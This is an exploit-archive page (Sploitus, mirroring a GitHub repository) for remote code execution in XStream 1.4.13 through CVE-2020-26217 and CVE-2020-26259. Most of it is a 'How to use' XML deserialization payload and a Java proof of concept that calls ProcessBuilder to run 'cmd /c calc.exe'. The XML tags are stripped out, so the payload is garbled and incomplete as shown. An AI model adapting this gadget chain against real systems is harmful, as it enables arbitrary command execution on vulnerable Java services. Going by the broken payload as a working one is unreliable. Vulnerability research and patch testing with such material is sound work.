Sploitus

Exploit for OS Command Injection in Xstream CVE-2020-26217 CVE-2020-26259

githubexploit · 2021-01-22

Exploit Code

README153 lines
## https://sploitus.com/exploit?id=79FADEDE-9F29-583A-908E-676A91E2F562
## Description

XStream can be used for Remote Code Execution

## Influence

Xstream 
    
        
            com.thoughtworks.xstream
            xstream
            1.4.13
        
    
```

## How to  use

```xml

  
    
      0
      
        
          
            text/plain
            
              
                
                  
                    0
                    -1
                    1
                    
                      
                        
                          cmd
                          /c
                          calc.exe
                        
                      
                    
                  
                  
                    
                      java.lang.ProcessBuilder
                      start
                      
                    
                    start
                  
                  
                
                KEYS
              
              
                
                0
                0
                0
              
            
            false
          
          
        
        0
      
    
    test
  

```

CVE_2020_26217.java

```java
import com.thoughtworks.xstream.XStream;

public class CVE_2020_26217 {
    public static void main(String[] args) {
        String xml_poc = "\n" +
                "  \n" +
                "    \n" +
                "      0\n" +
                "      \n" +
                "        \n" +
                "          \n" +
                "            text/plain\n" +
                "            \n" +
                "              \n" +
                "                \n" +
                "                  \n" +
                "                    0\n" +
                "                    -1\n" +
                "                    1\n" +
                "                    \n" +
                "                      \n" +
                "                        \n" +
                "                          cmd\n" +
                "                          /c\n" +
                "                          calc.exe\n" +
                "                        \n" +
                "                      \n" +
                "                    \n" +
                "                  \n" +
                "                  \n" +
                "                    \n" +
                "                      java.lang.ProcessBuilder\n" +
                "                      start\n" +
                "                      \n" +
                "                    \n" +
                "                    start\n" +
                "                  \n" +
                "                  \n" +
                "                \n" +
                "                KEYS\n" +
                "              \n" +
                "              \n" +
                "                \n" +
                "                0\n" +
                "                0\n" +
                "                0\n" +
                "              \n" +
                "            \n" +
                "            false\n" +
                "          \n" +
                "          \n" +
                "        \n" +
                "        0\n" +
                "      \n" +
                "    \n" +
                "    test\n" +
                "  \n" +
                "";
        XStream xstream = new XStream();
        xstream.fromXML(xml_poc);
    }

}
```

Result:

![result](img/result.jpg)

## Reference

https://x-stream.github.io/CVE-2020-26217.html

https://github.com/jas502n/CVE-2020-26259